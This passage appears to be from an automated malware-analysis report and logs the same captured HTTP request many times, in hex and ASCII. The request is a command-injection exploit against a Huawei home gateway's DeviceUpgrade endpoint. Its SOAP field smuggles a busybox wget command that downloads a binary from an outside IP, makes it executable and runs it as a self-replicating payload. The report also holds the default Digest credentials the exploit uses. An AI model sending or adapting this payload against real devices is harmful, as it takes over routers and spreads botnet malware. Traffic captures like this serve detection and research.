4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 